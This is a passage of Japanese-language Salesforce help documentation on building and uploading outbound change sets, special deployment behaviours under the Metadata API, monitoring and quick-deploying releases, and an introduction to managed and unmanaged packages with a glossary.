は、連動コンポーネントを変更セットに追加します。
送信変更セットのアップロード
変更セットに含むコンポーネントを集めたら、別の Salesforce 組織にアップロードできます。変更セットを
いったんアップロードしたら、編集や取り消しはできません。
送信変更セットの作成
送信変更セットは、ログインしている Salesforce 組織から他の組織に送信する変更です。
送信変更セットのコピー
コピーすることによって既存の変更セットのコピーを作成できます。
送信変更セットの削除
送信変更セット検証エラー
分散 Salesforce サービスアップグレード中の変更セットのアップロード

関連トピック:

変更セットの権限セットおよびプロファイルの設定
受信変更セットのリリース
変更セット
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送信変更セットのコンポーネントの選択
送信変更セットのコンポーネントを選択する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「送信変更セット」と入力し、[送信変更セット] を選択します。
2. [変更セット] リストで、変更セットの名前をクリックするか、新しい変更セットを作成します。
3. コンポーネントを追加するには、[追加] をクリックします。
4. コンポーネントの種別と追加するコンポーネントを選択して、[変更セットに追加] をクリックします。
5. [プロファイルの追加] をクリックして、変更セットにプロファイルの設定を追加します。

メモ:  Professional Edition では、変更セットにプロファイルの設定を追加できません。

6. 必要に応じて、[連動関係を参照/追加] をクリックして、連動コンポーネントを追加します。

メモ: 連動コンポーネントは、その他のコンポーネントの有無によって異なります。この変更セット
がリリースされるすべての組織に連動コンポーネントがあることが明らかでない場合は、連動コン
ポーネントを変更セットに追加します。

関連トピック:

送信変更セットの作成
連動コンポーネントの表示と変更セットへの追加
変更セットで使用可能なコンポーネント

連動コンポーネントの表示と変更セットへの追加
連動関係は、1 つまたは複数のコンポーネントが別のコンポーネントに対して存在する必要がある関係です。
変更セットがリリースされるすべての組織に連動コンポーネントが存在することが明らかでない場合は、連動
コンポーネントを変更セットに追加します。
連動コンポーネントを送信変更セットに追加する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「送信変更セット」と入力し、[送信変更セット] を選択します。
2. [変更セット] リストで、変更セットの名前をクリックします。
3. [連動関係を参照/追加] をクリックします。
4. [コンポーネントの連動関係] ページで、リリースする連動コンポーネントを選択し、[変更セットに追加]を

クリックします。

警告: 変更セットに含まれる連動関係が 2500 より多い場合、[コンポーネントの連動関係] ページには先頭
の 2500 個の連動関係のみ表示されます。

関連トピック:

送信変更セットのコンポーネントの選択
送信変更セットのアップロード
変更セットで使用可能なコンポーネント
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送信変更セットのアップロード
変更セットに含むコンポーネントを集めたら、別のSalesforce組織にアップロードできます。変更セットをいっ
たんアップロードしたら、編集や取り消しはできません。
1. [設定] から、[クイック検索] ボックスに「送信変更セット」と入力し、[送信変更セット] を選択します。
2. 変更セットの名前をクリックします。
3. 変更セットの送信先の組織を選択します。
4. [アップロード] をクリックします。

メモ: 送信変更セットの有効期限は、アップロード後 6 か月です。有効期限が切れると、変更セットは永
久に削除されます。

関連トピック:

分散 Salesforce サービスアップグレード中の変更セットのアップロード
送信変更セットの作成

送信変更セットの作成
送信変更セットは、ログインしている Salesforce 組織から他の組織に送信する変更です。
送信変更セットを表示するには、[設定] から、[クイック検索]ボックスに「送信変更セット」と入力し、[送信
変更セット] を選択します。
• 変更セットを新規作成するには、[新規] をクリックします。
• 既存の変更セットの詳細を表示するには、名前をクリックします。

関連トピック:

送信変更セットのコピー
送信変更セット検証エラー

送信変更セットのコピー
コピーすることによって既存の変更セットのコピーを作成できます。
1. [設定] から、[クイック検索] ボックスに「送信変更セット」と入力し、[送信変更セット] を選択します。
2. コピーする変更セットの名前をクリックします。
3. [コピー] をクリックします。

関連トピック:

送信変更セットの作成

送信変更セットの削除
1. [設定] から、[クイック検索] ボックスに「送信変更セット」と入力し、[送信変更セット] を選択します。
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2. 削除する変更セットの名前をクリックします。
3. [削除] をクリックします。

関連トピック:

送信変更セットの作成

送信変更セット検証エラー
バージョン間検証に関するエラーが発生した場合、送信変更セットの作成に使用する組織は、送信先組織とは
異なるバージョンで実行されています。Salesforce分散リリースにより組織がさまざまな時間にアップグレード
される場合があるため、このエラーは通常アップグレード時に発生します。このエラーが発生した場合、バー
ジョン間で互換性のあるコンポーネントだけをリリースできます。

関連トピック:

送信変更セットの作成
送信変更セットのアップロード

分散 Salesforce サービスアップグレード中の変更セットのアップロード
Salesforce サービスアップグレード中はアップグレードが順を追って実施されるため、本番環境と Sandbox 環境
が同じバージョンのプラットフォームで実行されていない場合があります。一部のコンポーネントには、その
種類のコンポーネントをリリースできない新機能が含まれている可能性があります。このようなコンポーネン
トは、本番組織が Sandbox と同じバージョンで実行されるようになった後にリリースできます。
バージョンの互換性がないためにリリースできないコンポーネントがある変更セットをアップロードすると、
システムはリリースできないコンポーネントを検知します。この場合、Salesforceでそれ以外のコンポーネント
をアップロードすることを選択できます。

関連トピック:

送信変更セットのアップロード

リリースの特殊な動作
変更をSalesforce組織にリリースする場合、必要なすべての変更が含まれるように、リリースの個々のコンポー
ネントがどのように動作するのかを考慮します。次の情報を参考にして、リリースに含めるものや、対象組織
での変更の表示方法を決定してください。
「メタデータ API」セクションにリストされている動作は、Force.com 移行ツールまたはForce.com IDEを使用して
いる場合に適用されます。
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変更セットコンポーネント
承認プロセス

• 承認ページの項目に標準オブジェクトのカスタム項目が含まれている場合は、そのカスタム項目を送信
変更セットに手動で追加する必要があります。変更セットコンポーネントを選択するための [連動関係
を参照/追加] オプションには、これらの項目は含まれません。

• 承認プロセスで、カスタム項目を含む投稿テンプレートを参照している場合、変更セットに追加する前
にこれらの投稿テンプレートを送信側組織に再保存する必要があります。[設定] から、[クイック検索]

ボックスに「投稿テンプレート」と入力し、[投稿テンプレート]を選択します。各投稿テンプレートで、
[編集]、[保存] の順にクリックします。

• 変更セットには、ソース組織の有効承認プロセスの順序は含まれません。場合によっては、リリース後
に対象組織で承認プロセスを並び替える必要があります。

• 変更セットに以前に含まれており別の組織でリリース済みの承認プロセスの [一意の名前] を変更し、
変更セット経由で承認プロセスを再送信する場合は、他の組織でリリースされる時点で新しい承認プロ
セスが作成されます。以前にリリースされた承認プロセスは、変更されません。

Apex クラスおよび Apex トリガ
デフォルトでは、Apexジョブを待機中または処理中にするApexコードへの変更はリリースできません。こ
れらの変更をリリースするには、次のいずれかを実行します。
• Apexコードへの変更をリリースする前に、Apexジョブをキャンセルします。リリース後にジョブを再ス

ケジュールします。
• Salesforce ユーザインターフェースの [リリース設定] ページで Apex ジョブによるリリースを有効化しま

す。
カスタム項目

• メタデータ API を使用して、カスタム項目のデータ型を変更することはできません。対象組織に対する
このような変更は、ユーザインターフェースを使用して手動で行う必要があります。

カスタムオブジェクト
APIバージョン 29.0 以前では、メタデータ APIを使用して、オブジェクトの sharingModel を変更すること
はできません。対象組織に対するこのような変更は、ユーザインターフェースを使用して手動で行う必要
があります。
APIバージョン 30.0 以降、メタデータ APIとユーザインターフェースを使用して、内部ユーザ向けにオブジェ
クトの sharingModel を変更できます。
カスタムオブジェクトの挿入、オブジェクトの sharingModel項目の更新、新しい共有ルールの追加を同
時に行うことはサポートされていません。その場合は、3 つの個別のリリースが必要になります。まずカス
タムオブジェクトをリリースし、次にオブジェクトの更新された sharingModelをリリースし、その後に
新しい共有ルールをリリースします。

フロー
• 変更セットを使用してフローをリリースする場合、移行サポートの制限を考慮します。変更セットで使

用可能な項目とコンポーネントのみをフローで参照していることを確認してください。
• 変更セットには 1 つのバージョンフローのみを含むことができます。
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• 送信変更セットをアップロードするときに有効なバージョンがない場合、最新の無効なバージョンが使
用されます。

• 変更セットの連動コンポーネントを参照するとき、[コンポーネントの連動関係] ページに、フローのす
べてのバージョンの連動関係が一覧表示されます。関連するフローバージョンのすべての相互連動関係
コンポーネントを送信変更セットに追加します。

• 変更セットの有効なフローは、対象に無効としてリリースされます。リリース後手動でフローを有効化
してください。

• 変更セットを使用してフローをリリースまたは再リリースすると、対象組織にフローのバージョンが作
成されます。

指定ログイン情報
指定ログイン情報の次のコールアウトオプションは、ユーザインターフェースからのみ設定できます。デ
フォルト値が対象組織に対して適切ではない場合、その組織のシステム管理者がリリース後に手動で指定
ログイン情報を設定する必要があります。
• 認証ヘッダーを生成  — デフォルト: 有効化
• HTTP ヘッダーの差し込み項目を許可  — デフォルト: 無効化
• HTTP 本文の差し込み項目を許可  — デフォルト: 無効化

権限
「変更セットの権限セットおよびプロファイルの設定」 (ページ 6938)を参照してください。

ページレイアウト
プロファイルおよびレコードタイプは含まれているが、そのレコードタイプに割り当てられたページレイ
アウトが含まれていないリリースの場合、そのレコードタイプのプロファイルから既存のレイアウトの割
り当てを削除します。変更セットには常に、必要なすべてのレコードタイプのすべてのページレイアウト
を含めるようにしてください。

メタデータ API
Apex クラスおよび Apex トリガ

デフォルトでは、Apexジョブを待機中または処理中にするApexコードへの変更はリリースできません。こ
れらの変更をリリースするには、次のいずれかを実行します。
• Apexコードへの変更をリリースする前に、Apexジョブをキャンセルします。リリース後にジョブを再ス

ケジュールします。
• Salesforce ユーザインターフェースの [リリース設定] ページで Apex ジョブによるリリースを有効化しま

す。
承認プロセス

• メタデータ API と共に Salesforce ナレッジ記事の承認プロセスを使用するには、記事タイプをリリースす
る必要があります。承認プロセスの記事バージョン (_kav) の場合、サポートされるアクションの種類は、
ナレッジアクション、メールアラート、項目自動更新、アウトバウンドメッセージになります。

• 承認プロセスで、カスタム項目を含む投稿テンプレートを参照している場合、変更セットに追加する前
にこれらの投稿テンプレートを送信側組織に再保存する必要があります。[設定] から、[クイック検索]

ボックスに「投稿テンプレート」と入力し、[投稿テンプレート]を選択します。各投稿テンプレートで、
[編集]、[保存] の順にクリックします。
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• メタデータには、有効承認プロセスの順序は含まれません。場合によっては、リリース後に対象組織で
承認プロセスを並び替える必要があります。

• 変更セットに以前に含まれており別の組織でリリース済みの承認プロセスの [一意の名前] を変更し、
変更セット経由で承認プロセスを再送信する場合は、他の組織でリリースされる時点で新しい承認プロ
セスが作成されます。以前にリリースされた承認プロセスは、変更されません。

カスタム項目
API バージョン 30.0 以降、新しいカスタム項目をリリースする場合、プロファイル項目権限の editable項
目と readable 項目のデフォルト値は false です。デフォルト値を上書きするには、新規項目の項目権
限をプロファイルに含めます。

カスタムオブジェクト
APIバージョン 29.0 では、メタデータ APIを使用してオブジェクトの sharingModel を変更することはでき
ません。対象組織に対するこのような変更は、ユーザインターフェースを使用して手動で行う必要があり
ます。
APIバージョン 30.0 以降、メタデータ APIとユーザインターフェースを使用して、内部ユーザ向けにオブジェ
クトの sharingModel を変更できます。

接続アプリケーション
• メタデータ API で consumerKey を設定することはできません。これは、情報提供を目的とした取得操

作に含まれます。接続アプリケーションを別の組織に移動する場合、組織にリリースする前に
consumerKey を .zip ファイルから削除する必要があります。移行先の組織で新しいキーが生成されま
す。

• 接続アプリケーションのモバイル設定は、変更セットでサポートされていないため、手動で移行する必
要があります。

指定ログイン情報
指定ログイン情報の次のコールアウトオプションは、ユーザインターフェースからのみ設定できます。デ
フォルト値が対象組織に対して適切ではない場合、その組織のシステム管理者がリリース後に手動で指定
ログイン情報を設定する必要があります。
• 認証ヘッダーを生成  — デフォルト: 有効化
• HTTP ヘッダーの差し込み項目を許可  — デフォルト: 無効化
• HTTP 本文の差し込み項目を許可  — デフォルト: 無効化

ページレイアウト
ページレイアウトの割り当てを含むリリースでは、対象組織にある既存のすべてのページレイアウトの割
り当てが、.zip ファイルで指定された割り当てに置き換えられます。組織の既存のページレイアウトが .zip

ファイルに含まれていない場合、それらのページレイアウトはなくなります。すべての必要なレコードタ
イプの全ページレイアウトを .zip ファイルに必ず含めるようにしてください。

プロファイル
対象組織に存在しない名前のプロファイルがパッケージに含まれている場合、新しいプロファイルはその
名前で作成されます。リリースされたプロファイルで権限または設定が指定されていない場合、最終的な
プロファイルは標準プロファイルのすべての権限と設定で構成されます。
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共有
• どのオブジェクトを更新するかに関係なく、メタデータ APIでは、オブジェクトの sharingModel項目

の更新と新しい共有ルールの追加を同時に行うことはサポートされていません。たとえば、組織の共有
設定が公開である場合、共有ルールを追加し、その後で sharingModel を更新することができます。
その結果、1 回だけ共有が再適用されます。

• リリースしようとしている変更セットに親-子リレーションを持つカスタム項目が含まれるが、同じ変
更セット内に主従項目がない場合、エラーが発生することがあります。このエラーを解決するには、組
織の共有設定を変更していなくても、主従カスタム項目を変更セットに追加します。

ワークフロー
メタデータ APIでは、フロートリガのテストモードはサポートされていません。システム管理者がワークフ
ロールールを起動したときにフロートリガで最新のフローバージョンを実行する場合は、リリース後にユー
ザインターフェースでテストモードを有効にします。

関連トピック:

変更セットのリリース
変更セット
変更セットで使用可能なコンポーネント
https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/file_based_zip_file.htm

リリースの監視
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

メタデータのリリースを
参照する
• 「すべてのデータの編

集」

[リリース状況] ページでは、処理中のリリースを監視したり、どのリリースが実
行を待機しているかを確認したり、完了したリリースの結果を参照したりでき
ます。
このページには、すべてのリリース (変更セットベースのリリースとメタデータ
API ベースのリリース) が表示されます。これには、Force.com IDE および Force.com

移行ツールから開始されたリリースと、パッケージインストールも含まれます。
メタデータコンポーネントのサイズと複雑さは、リリース時間に影響します。
処理中または過去 30 日間で完了したリリースの状況を追跡するには、[設定] か
ら、[クイック検索]ボックスに「リリース」と入力し、[リリース状況]を選択し
ます。リリースは、その状況に応じて別個のセクションにリストされます。

進行中のリリースとキューにあるリリース
リリースの実行中、[リリース状況] ページには、現在のリリースについてリアル
タイムの進行状況が表示されます。このページでは、グラフで全体的なリリー
スの進行状況が視覚的に表現されます。最初のグラフでは、コンポーネント総
数のうちリリースが終了したコンポーネント数と、エラーがあったコンポーネ
ント数が表示されます。たとえば、次のグラフは、450 コンポーネント中 302 コ
ンポーネントが正常に処理され、45 コンポーネントにエラーがあったことを示
しています。
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すべてのコンポーネントがエラーなしでリリースされると、必要または有効な場合は Apex テストが実行を開
始します。2 つ目のグラフは、Apex テストの総数のうち、実行された数と、返されたエラーの数が表示されま
す。さらに、このグラフには現在実行中のテスト名が表示されます。たとえば、次のグラフでは、合計 120 件
のテストのうち 77 件の実行が完了し、1 件が失敗したことを示しています。

次の情報が現在のリリースについて表示されます。

説明項目

メタデータ API リリースの追跡に使用される変更セット名または一意の識別子。メタデータ
API リリースの場合、この値は deploy() コールによって返されます。

Name

リリースタイプ: [変更セット] または API。種類

リリースを実行しているユーザの名前。リリース者

要求がキューに入れられた時間ではなく、リリースが実際に開始された日時。この値は、リ
リース [状況] が [処理中] に設定された時間です。

開始時刻

リリース検証が完了した日時。検証済み

現在のリリースにエラーがある場合、[エラーを表示]をクリックするとリリースが終了する前にエラーを表示
できます。
待機中のリリース
複数のリリースを開始できます。一度に実行できるリリースは 1 つのみです。その他のリリースはキューに残
り、現在のリリースの終了後に実行されるまで待機します。キューに入れられたリリースは、実行される順序
で [待機中のリリース] の下に表示されます。
リリース検証
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リリース検証は、リリースされるコンポーネントの結果をチェックするためだけに使用されるリリースで、
ロールバックされます。検証では、リリースされたコンポーネントは保存されず、Salesforce 組織にはいかなる
変更も行われません。リリースが検証のみ (「検証」) か、実際のリリース (「リリース」) かは、待機中のリ
リースの情報か、[失敗] および [成功] セクションでリリースの [状況] 列を調べることで判定できます。
過去 10 日間に検証が正常に完了し、すべてのテストが十分なコードカバー率で合格した場合、テストを実行
することなくこの検証を本番組織にリリースするクイックリリースを実行できます。「リリースの監視」を参
照してください。

リリースのキャンセル
進行中またはキュー内のリリースは、リリースの横にある[キャンセル]をクリックしてキャンセルできます。
リリースが完全にキャンセルされるまで、リリースの状況は Cancel Requestedになります。キャンセルさ
れたリリースは、[失敗] セクションにリストされます。

完了したリリース
完了したリリースは、状況に応じて [失敗] または [成功] セクションのいずれかに表示されます。
完了したが失敗したリリースおよびキャンセルされたリリースは、[失敗] セクションに表示されます。これら
のリリースでは、ファイルの欠落、コンポーネントのエラー、テストの失敗、またはリリースのキャンセルに
より、変更は Salesforce 組織にコミットされていません。
正常に完了したリリース、または部分的に成功したリリースは、[成功] セクションに表示されます。部分的に
成功する可能性があるのは、本番以外の組織へのリリースのみです。これらのリリースは、リリースオプショ
ンで rollbackOnError 項目が false に設定され、コンポーネントのサブセットにエラーがあります。部分
的に成功したリリースでは、失敗したコンポーネントはコミットされず、残りのコンポーネントは組織にコ
ミットされています。
リリースの詳細を表示するには、リリースの横にある [詳細を表示]をクリックします。[リリースの詳細] ペー
ジの情報を使用して、エラーを確認し、失敗または部分的に成功したリリースの問題をトラブルシューティン
グします。[リリースの詳細] ページには、リリース中に発生したエラーメッセージ、Apexテストのエラーとス
タック追跡情報、コードカバー率の警告、および時間がかかるテストについての情報が表示されます。リリー
スを成功させるために、[リリースの詳細] ページには、リリースされたコンポーネントの数、および実行され
た Apex テストの数などの情報が表示されます。
リリース状況
[失敗] または [成功] セクションの完了したリリースの [状況] 列には、リリースの種別と状況が表示され、次
の 2 つの部分で構成されます。
• プレフィックスは、リリースが検証のみ (「検証:」) か、実際のリリース (「リリース:」) かを示します。
• 状況値の 2 つ目の部分は、リリースの状況を示します。失敗したリリースでは [失敗] または [キャンセル]、

成功したリリースでは [成功]、部分的に成功したリリースでは [一部成功] が表示されます。

クイックリリース
本番環境へのリリースでは、すべての Apex テストが実行されます。本番組織に多数の Apex テストがある場合、
テストの実行に時間がかかり、リリースが遅延することがあります。本番環境へのリリース時間を短縮するた
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め、テストを実行せずにリリースするクイックリリースを行うことができます。クイックリリースは、変更
セットおよびメタデータ API コンポーネントが次の要件を満たす場合に使用できます。
• コンポーネントが対象の環境で過去 10 日以内に正常に検証されている。
• 検証の一部として、対象組織での Apex テストに合格している。
• コードカバー率要件を満たしている。

– 組織のすべてのテストまたはすべてのローカルテストが実行された場合、全体のコードカバー率は 75%

以上で、Apex トリガについてもある程度のコードカバー率が必要である。
– 特定のテストが[指定されたテストを実行]テストレベルで実行された場合、リリースされる各クラスお

よびトリガの個々のカバー率が 75% 以上である。

検証は、リリースされるコンポーネントの結果をチェックするためだけに使用されるリリースで、コンポーネ
ントを組織に保存することはありません。検証により、実際のリリースで受信する可能性のある成功または失
敗のメッセージを確認できます。変更セットまたはメタデータコンポーネントは、API またはForce.com 移行ツー
ルを使用して検証できます。
変更セットを検証する方法についての詳細は、Salesforceヘルプの「変更セットの確認」を参照してください。
Force.com 移行ツールでコンポーネントを検証するには、リリース先の checkOnly オプションを true に設定
します。『Force.com 移行ツールガイド』の「Salesforce 組織への変更のリリース」を参照してください。
ユーザインターフェースまたは API を使用したクイックリリースの実行
クイックリリースを実行するには、まず検証のみのリリースで、リリースする必要があるコンポーネントセッ
トに Apex テストを実行します。検証に成功し、クイックリリースの必要条件を満たした場合は、クイックリ
リースを開始できます。
検証された変更セットおよびメタデータ API コンポーネントは、ユーザインターフェースでクイックリリース
できます。[リリース状況] ページで、検証の横または検証の詳細ページにある [クイックリリース]をクリック
して、最近の検証をリリースします。このボタンは、必要条件を満たしている検証に対してのみ表示されま
す。
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または、メタデータ APIを使用するか、またはMetadata APIコンポーネント (変更セットを除く) の Force.com 移行
ツールを使用して、クイックリリースを開始することもできます。メタデータ API の場合、
deployRecentValidation() をコールして検証 ID を渡します。Force.com 移行ツールの場合、
<sf:deployRecentValidation> タスクを使用します。

メモ: クイックリリースは、Apexテストの実行に成功し、コードカバー率要件を満たした最近の検証に対
して有効になります。次の点に注意してください。
• 本番環境では、クイックリリースは条件を満たした検証に対してサポートされます。変更セットおよ

びメタデータ API コンポーネント (Force.com 移行ツールを使用して検証したコンポーネントを含む) の
最近の検証をリリースできます。

• Sandbox では、テスト実行を明示的に有効にする検証 (受信セットの検証時にテストオプションを選択
する場合や、移行ツールで testLevelパラメータを使用する場合など) に対してのみクイックリリー
スがサポートされます。デフォルトでは Apex テストは必須ではなく、Sandbox リリースで実行されま
せん。

• クイックリリース、パッケージインストール、または通常のリリースのいずれを使用するかに関係な
く、検証後にリリースを実行した場合は、すべての検証がクイックリリースの対象外になります。ク
イックリリースを行うコンポーネントセットを再度検証します。

長時間実行されているテストのパフォーマンス調整のリソース
必要または有効な場合、すべてのコンポーネントがリリースされた後に、Apexテストがリリースの一部として
実行されます。Apexテストの実行に長く時間がかかると、リリース全体が遅延します。実行時間が長い上位 5

つのテスト、つまり実行時間が 2 分を超えた上位 5 つのテストに、[リリースの詳細] ページで完了済みリリー
スのフラグが設定されます。効率化して将来のリリース時間を短縮できるように、これらのテストのパフォー
マンスを改善することができます。パフォーマンス低下の原因は多数存在します。たとえば、テストデータを
使用せずに組織データにアクセスする場合や、パフォーマンスの低い SOQL クエリや Apex コードを実行する場
合などが挙げられます。Apex および SOQL のパフォーマンスのベストプラクティスを学ぶために使用できるリ
ソースをいくつか紹介します。
• 単体テストの組織データとテストデータの分離
• Working with Very Large SOQL Queries (非常に大きい SOQL クエリの処理)

• Web セミナー: Inside the Force.com Query Optimizer (Web セミナー: Force.com クエリオプティマイザのしくみ) (英語)

• Query and Search Optimization Cheat Sheet (クエリおよび検索最適化のための早見表)

• Performance Tuning for Visualforce and Apex Webinar (Visualforce および Apex のパフォーマンス調整の Web セミナー)

• Architect Core Resources (アーキテクト向けコアリソース)

関連トピック:

受信変更セットのリリース
送信変更セットのアップロード
https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/

https://developer.salesforce.com/docs/atlas.en-us.daas.meta/daas/
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アプリケーションのパッケージ化および配布

オープンソースプロジェクトを配布して、開発者にアプリケーションの基本のビルディングブロックを提供し
たいとお考えですか? または、顧客にアプリケーションを配布して販売しますか? パッケージを使用すれば、
さらに多くのことを行うことができます。
詳細は、『ISVforce ガイド』を参照するか、Salesforce パートナーポータルにアクセスしてください。

パッケージの使用
管理パッケージと未管理パッケージを作成します。
アプリケーションの配布
アプリケーションのアップロード、拡張とアップグレードの公開、バージョンの管理を行います。
アプリケーションの登録者のサポート
AppExchange の顧客をサポートし、登録者の組織および詳細を表示します。

パッケージの使用

管理パッケージと未管理パッケージを作成します。

パッケージについて
用語集
管理パッケージの作成
パッケージの管理
開発プロセスの決定
Apex テスト失敗の解決
パッケージのインストール/アップグレード時の Apex の実行
パッケージのアンインストール時の Apex の実行
アプリケーションのドキュメントの開発
Force.com AppExchange 公開者の割り当て
未管理パッケージから管理パッケージへの変換
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パッケージについて
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Developer Edition

パッケージアップロード
およびインストールを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パッケージを作成する
• 「AppExchange パッ

ケージの作成」

AppExchange にパッケー
ジをアップロードする
• 「AppExchange パッ

ケージのアップロー
ド」

パッケージとは、個々のコンポーネントなどの小さいものや関連アプリケーショ
ンのセットなどの大きいものを格納するコンテナです。パッケージの作成後、
他の Salesforce ユーザおよび組織 (社外のユーザ、組織も含む) にそのパッケージ
を配布できます。
パッケージは、管理パッケージと未管理パッケージの 2 種類があります。
未管理パッケージ

未管理パッケージは、通常、開発者にアプリケーションの基本ビルディング
ブロックを提供するために、オープンソースプロジェクトまたはアプリケー
ションテンプレートを配布する場合に使用します。未管理パッケージからコ
ンポーネントがインストールされると、コンポーネントはインストールされ
た組織で編集できるようになります。未管理パッケージを作成してアップ
ロードした開発者は、インストールされたコンポーネントを制御できず、こ
れらのコンポーネントを変更またはアップグレードできません。Sandbox か
ら本番組織へのコンポーネントの移行に未管理パッケージを使用しないでく
ださい。代わりに、変更セットを使用してください。

管理パッケージ
管理パッケージは通常、アプリケーションをカスタマーに配布、販売するた
めに Salesforce パートナーが使用します。これらのパッケージは、Developer

Edition 組織で作成される必要があります。AppExchangeおよびライセンス管理
アプリケーション (LMA) を使用して、開発者はユーザベースのライセンスを
アプリケーションに対して販売および管理できます。また、管理パッケージ
は完全にアップグレード可能です。シームレスなアップグレードを実現する
ために、オブジェクトまたは項目の削除などの特定の破壊的な変更は実行で
きません。
管理パッケージには次のような利点もあります。
• Apex の知的財産の保護
• API アクセスが可能なコンポーネントの組み込みのバージョン管理サポー

ト
• 前のバージョンを分岐およびパッチする機能
• 登録者へのパッチ更新のシームレスな転送を行う機能
• インストールで競合が発生しないようにすべてのコンポーネントに一意の名前を指定

これらの概念を次の定義で説明します。
コンポーネント

コンポーネントは、パッケージの 1 つの構成要素です。コンポーネントでは、カスタムオブジェクトまた
はカスタム項目などのアイテムを定義します。コンポーネントをパッケージにまとめて、強力な機能また
はアプリケーションを作成できます。未管理パッケージでは、コンポーネントをアップグレードすること
はできません。管理パッケージでは、一部のコンポーネントのみアップグレードできます。

属性
属性とは、メールテンプレート名、またはカスタムオブジェクトの [レポートを許可]チェックボックスな
どのコンポーネントの項目です。未管理パッケージまたは管理パッケージのいずれかのアップグレード不
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可能なコンポーネントで、開発者 (パッケージを作成したユーザ) および登録者 (パッケージをインストール
したユーザ) はどちらも属性を編集できます。管理パッケージのアップグレード可能なコンポーネントの場
合、開発者が編集できる属性、契約ユーザが編集できる属性、ロックされている属性があり、開発者およ
び契約ユーザの両方で属性を編集することはできません。

パッケージは 1 つ以上の Salesforce コンポーネントで構成され、コンポーネントは 1 つ以上の属性で構成されて
います。コンポーネントおよびそれらの属性の動作は管理パッケージと未管理パッケージでは異なります。
アプリケーションを配布する場合、開発プロセス全体でパッケージ化を検討することが重要になります。例:

• アプリケーションを作成する場合は、異なるパッケージおよび Salesforce の Edition で、コンポーネントや属
性がどのように動作するかについて考慮してください。

• 配布用のアプリケーションを準備する場合は、顧客にどのようにリリースするかについて考慮してくださ
い。

• パッケージをインストールする場合は、組織のセキュリティおよびライセンスに関する契約について考慮
してください。

関連トピック:

パッケージの管理
配布用アプリケーションの準備

用語集
次の用語と定義は、アプリケーションとパッケージ化に関する主要な概念と機能を説明したものです。
アプリケーション

「App」と表記されることもあります。特定のビジネス要件を扱うタブ、レポート、ダッシュボードおよび
Visualforce ページなどのコンポーネントの集合です。Salesforce では、セールスおよびサービスなどの標準ア
プリケーションを提供しています。お客様のニーズに合わせてこれらの標準アプリケーションをカスタマ
イズできます。また、アプリケーションをパッケージ化して、カスタム項目、カスタムタブ、カスタムオ
ブジェクトなどの関連コンポーネントと共にAppExchangeにアップロードできます。そのアプリケーション
を AppExchange から他の Salesforce ユーザが利用できるようにすることもできます。

AppExchange

AppExchangeは Salesforceの共有インターフェースであり、Force.comプラットフォームのアプリケーションや
サービスを参照および共有できます。

ベータ、管理パッケージ
管理パッケージのベータ管理パッケージは、パッケージをテストするために対象者のサンプリングに貢献
する旧バージョンの管理パッケージです。

リリース
無効な状態の機能を有効な状態にします。たとえば、Salesforce ユーザインターフェースの新機能を開発す
る場合、「リリース済み」オプションを選択して、他のユーザがその機能を表示できるようにする必要が
あります。
アプリケーションまたは他の機能を開発から本番に移行するプロセスです。
ローカルファイルシステムから Salesforce 組織にメタデータコンポーネントを移動します。
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インストールされたアプリケーションをリリースすると、アプリケーション内に、組織内のユーザが使用
できるカスタムオブジェクトが作成されます。カスタムオブジェクトをリリース前に使用できるのは、「ア
プリケーションのカスタマイズ」権限を持つシステム管理者およびユーザのみです。

ライセンス管理アプリケーション (LMA)

無料のAppExchangeアプリケーションで、AppExchangeから管理パッケージ (アプリケーション) をダウンロー
ドするすべてのユーザのセールスリードおよび取引先を追跡できます。

ライセンス管理組織 (LMO)

パッケージをインストールしたすべての Salesforce ユーザを追跡できる、Salesforce 組織です。ライセンス管
理組織には、ライセンス管理アプリケーション (LMA)をインストールする必要があります。ライセンス管理
アプリケーションは、パッケージがインストールまたはアンインストールされるたびに自動的に通知を受
信するため、簡単にユーザにアップグレードを通知できます。Enterprise Edition、Unlimited Edition、Performance

Edition、または Developer Edition の組織をライセンス管理組織として指定できます。詳細は、
http://www.salesforce.com/docs/en/lma/index.htm を参照してください。

メジャーリリース
パッケージの重要なリリースです。こうしたリリースでは、メジャー番号およびマイナー番号が選択した
値に増えます。

管理パッケージ
ユニットとしてAppExchangeに投稿され、名前空間と、場合によりライセンス管理組織に関連付けられるア
プリケーションコンポーネントの集合です。アップグレードをサポートするには、管理パッケージである
ことが必要です。組織は、他の多くの組織でダウンロードおよびインストールできる単一の管理パッケー
ジを作成できます。管理パッケージは、未管理パッケージとは異なり、コンポーネントの一部がロックさ
れていて、後でアップグレードできます。未管理パッケージには、ロックされたコンポーネントは含まれ
ておらず、アップグレードはできません。また、管理パッケージでは、開発者の知的財産保護のため、登
録している組織では特定のコンポーネント (Apex など) は隠されます。

管理パッケージ拡張
管理パッケージの機能に追加される任意のパッケージ、コンポーネント、または一連のコンポーネントで
す。管理パッケージをインストールする前に拡張をインストールすることはできません。

名前空間プレフィックス
パッケージコンテキストでは、名前空間プレフィックスとはAppExchangeにある自社パッケージとそのコン
テンツを他の開発者のパッケージと区別するための 1 ～ 15 文字の英数字で構成される識別子です。名前空
間プレフィックスでは、大文字小文字は区別されません。たとえば、ABC と abc は一意として認識されませ
ん。名前空間プレフィックスは、すべての Salesforce 組織にわたって必ずグローバルに一意なものを指定し
ます。名前空間プレフィックスを使用することで、各自の管理パッケージのみを管理できるようになりま
す。

パッケージ
AppExchangeを介して他の組織で使用可能なForce.comのコンポーネントおよびアプリケーションのグループ
です。AppExchangeにまとめてアップロードできるように、パッケージを使用してアプリケーションおよび
関連するコンポーネントをバンドルします。

パッケージの連動関係
これは、1 つのコンポーネントが、そのコンポーネントが有効であるために必要な他のコンポーネント、権
限、または設定を参照する場合に作成されます。コンポーネントに含めることができるのは、次のとおり
です (ただし、それに限定するものではありません)。
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• 標準項目またはカスタム項目
• 標準オブジェクトまたはカスタムオブジェクト
• Visualforce ページ
• Apex コード
権限と設定に含めることができるのは、次のとおりです (ただし、それに限定するものではありません)。
• ディビジョン
• マルチ通貨
• レコードタイプ

